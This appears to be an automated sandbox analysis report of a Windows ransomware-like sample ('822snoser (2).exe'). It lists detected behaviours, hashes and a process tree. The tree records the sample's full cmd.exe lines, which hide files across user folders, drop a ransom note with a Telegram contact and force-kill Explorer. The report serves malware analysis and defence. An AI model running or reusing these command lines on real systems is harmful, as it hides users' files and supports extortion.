Analysis

  • max time kernel
    30s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 10:18

General

  • Target
    822snoser (2).exe
  • Size 211KB
  • Sample261023-mcaeaaaz9s
  • SHA256 80229b275ca9f02dd57a3f6e10fb4a3b6453193180b48eb93f7b8790412b2cbf
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Adds Run key to start application 2 TTPs 10 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Views/modifies file attributes 1 TTPs 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe
    "C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe"
    1⤵
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5048
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:1860
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:4736
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2840
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:1540
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:1696
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5084
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:4456
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:5616
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4068
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:6040
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:1744
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4408
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:3248
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:4092
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4352
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:4224
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:1564
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill.exe /im Explorer.exe /f
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3844
  • C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe
    "C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe" -startup
    1⤵
      PID:5228
    • C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe
      "C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe"
      1⤵
        PID:2692

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            info-Locker.txt

            • Path C:\Users\Admin\Downloads\info-Locker.txt
            • Size 83B
            • SHA256 5f504dd84a23cbbbc96cd380b7b4a8944034b7aebea47fea808f932c8da16079
            • MD5 SHA1 SHA512 TLSH

            memory/2112-11-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-13-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-3-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-4-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-5-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-6-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-8-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-0-0x00007FFA8866F000-0x00007FFA88670000-memory.dmp

            memory/2112-2-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-1-0x0000000000C70000-0x0000000000CAC000-memory.dmp

            memory/2112-12-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-26-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-27-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-28-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-29-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-30-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp

            memory/2112-31-0x00007FFA884E0000-0x00007FFA88E84000-memory.dmp